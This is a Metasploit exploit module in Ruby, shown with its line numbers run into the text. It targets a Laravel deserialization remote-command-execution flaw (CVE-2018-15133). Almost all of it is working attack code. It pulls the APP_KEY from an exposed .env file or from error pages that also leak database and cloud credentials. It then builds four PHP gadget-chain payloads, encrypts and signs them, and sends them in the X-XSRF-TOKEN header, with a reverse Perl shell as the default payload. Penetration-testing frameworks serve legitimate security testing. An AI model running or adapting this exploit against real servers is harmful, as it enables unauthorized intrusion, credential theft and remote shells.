Path: blob/master/modules/exploits/unix/http/laravel_token_unserialize_exec.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution',16'Description' => %q{17This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.18Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to19an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.20Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.21Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.22In some cases the APP_KEY is leaked which allows for discovery and exploitation.23},24'DisclosureDate' => '2018-08-07',25'Author' => [26'Ståle Pettersen', # Discovery27'aushack', # msf exploit + other leak28],29'References' => [30['CVE', '2018-15133'],31['CVE', '2017-16894'],32['URL', 'https://github.com/kozmic/laravel-poc-CVE-2018-15133'],33['URL', 'https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30'],34['URL', 'https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0']35],36'License' => MSF_LICENSE,37'Platform' => 'unix',38'Arch' => ARCH_CMD,39'DefaultTarget' => 0,40'Stance' => Msf::Exploit::Stance::Aggressive,41'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },42'Payload' => { 'DisableNops' => true },43'Targets' => [[ 'Automatic', {} ]],44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options([53OptString.new('TARGETURI', [ true, 'Path to target webapp', '/']),54OptString.new('APP_KEY', [ false, 'The base64 encoded APP_KEY string from the .env file', ''])55])56end5758def check59res = send_request_cgi({60'uri' => normalize_uri(target_uri.path, 'index.php'),61'method' => 'GET'62})6364# Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more?65unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i66return CheckCode::Unknown67end6869auth_token = check_appkey70if auth_token.blank? || test_appkey(auth_token) == false71vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'72return CheckCode::Detected73end7475random_string = Rex::Text.rand_text_alphanumeric(12)76771.upto(4) do |method|78vuln = generate_token("echo #{random_string}", auth_token, method)7980res = send_request_cgi({81'uri' => normalize_uri(target_uri.path, 'index.php'),82'method' => 'POST',83'headers' => {84'X-XSRF-TOKEN' => "#{vuln}",85}86})8788if res.body.include?(random_string)89return CheckCode::Vulnerable90# Not conclusive but witnessed in the wild91elsif res.body.include?('Method Not Allowed')92return CheckCode::Safe93end94end95CheckCode::Detected96rescue Rex::ConnectionError97CheckCode::Unknown98end99100def env_leak101key = ''102vprint_status 'Checking for CVE-2017-16894 .env information leak'103res = send_request_cgi({104'uri' => normalize_uri(target_uri.path, '.env'),105'method' => 'GET'106})107108# Good but may be other software. Can also check for 'APP_NAME=Laravel' etc109return key unless res && res.body.include?('APP_KEY') && res.body =~ /APP_KEY\=base64:(.*)/110111key = $1112113if key114vprint_good "APP_KEY Found via CVE-2017-16894 .env information leak: #{key}"115return key116end117118vprint_status 'Website .env file exists but didn\'t find a suitable APP_KEY'119key120end121122def framework_leak(decrypt_ex = true)123key = ''124if decrypt_ex125# Possible config error / 0day found by aushack during pentest126# Seen in the wild with recent releases127res = send_request_cgi({128'uri' => normalize_uri(target_uri.path, 'index.php'),129'method' => 'POST',130'headers' => {131'X-XSRF-TOKEN' => Rex::Text.rand_text_alpha(1) # May trigger132}133})134135return key unless res && res.body.include?('DecryptException') && res.body.include?('APP_KEY')136else137res = send_request_cgi({138'uri' => normalize_uri(target_uri.path, 'index.php'),139'method' => 'POST'140})141142return key unless res && res.body.include?('MethodNotAllowedHttpException') && res.body.include?('APP_KEY')143end144# Good sign but might be more universal with e.g. 'vendor/laravel/framework' ?145146# Leaks all environment config including passwords for databases, AWS, REDIS, SMTP etc... but only the APP_KEY appears to use base64147if res.body =~ /\>base64:(.*)\<\/span\>/148key = $1149vprint_good "APP_KEY Found via Laravel Framework error information leak: #{key}"150end151152key153end154155def check_appkey156key = datastore['APP_KEY'].present? ? datastore['APP_KEY'] : ''157return key unless key.empty?158159vprint_status 'APP_KEY not set. Will try to find it...'160key = env_leak161key = framework_leak if key.empty?162key = framework_leak(false) if key.empty?163key.empty? ? false : key164end165166def test_appkey(value)167value = Rex::Text.decode_base64(value)168return true if value && value.length.to_i == 32169170false171end172173def generate_token(cmd, key, method)174# Ported phpggc Laravel RCE php objects :)175case method176when 1177payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\Generator":1:{s:13:"' + "\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'178when 2179payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' + "\x00" + '*' + "\x00" + 'listeners";a:1:{s:' + cmd.length.to_s + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'180when 3181payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' + "\x00" + '*' + "\x00" + 'app";s:' + cmd.length.to_s + ':"' + cmd + '";s:17:"' + "\x00" + '*' + "\x00" + 'defaultChannel";s:1:"x";s:17:"' + "\x00" + '*' + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'182when 4183payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'184end185186cipher = OpenSSL::Cipher.new('AES-256-CBC') # Or AES-128-CBC - untested187cipher.encrypt188cipher.key = Rex::Text.decode_base64(key)189iv = cipher.random_iv190191value = cipher.update(payload_decoded) + cipher.final192pload = Rex::Text.encode_base64(value)193iv = Rex::Text.encode_base64(iv)194mac = OpenSSL::HMAC.hexdigest('SHA256', Rex::Text.decode_base64(key), iv + pload)195iv = iv.gsub('/', '\\/') # Escape slash196pload = pload.gsub('/', '\\/') # Escape slash197json_value = %Q({"iv":"#{iv}","value":"#{pload}","mac":"#{mac}"})198json_out = Rex::Text.encode_base64(json_value)199200json_out201end202203def exploit204auth_token = check_appkey205if auth_token.blank? || test_appkey(auth_token) == false206vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'207return208end2092101.upto(4) do |method|211sploit = generate_token(payload.encoded, auth_token, method)212213res = send_request_cgi({214'uri' => normalize_uri(target_uri.path, 'index.php'),215'method' => 'POST',216'headers' => {217'X-XSRF-TOKEN' => sploit,218}219}, 5)220221# Stop when one of the deserialization attacks works222break if session_created?223224if res && res.body.include?('The MAC is invalid|Method Not Allowed') # Not conclusive225print_status 'Target appears to be patched or otherwise immune'226end227end228end229end230231232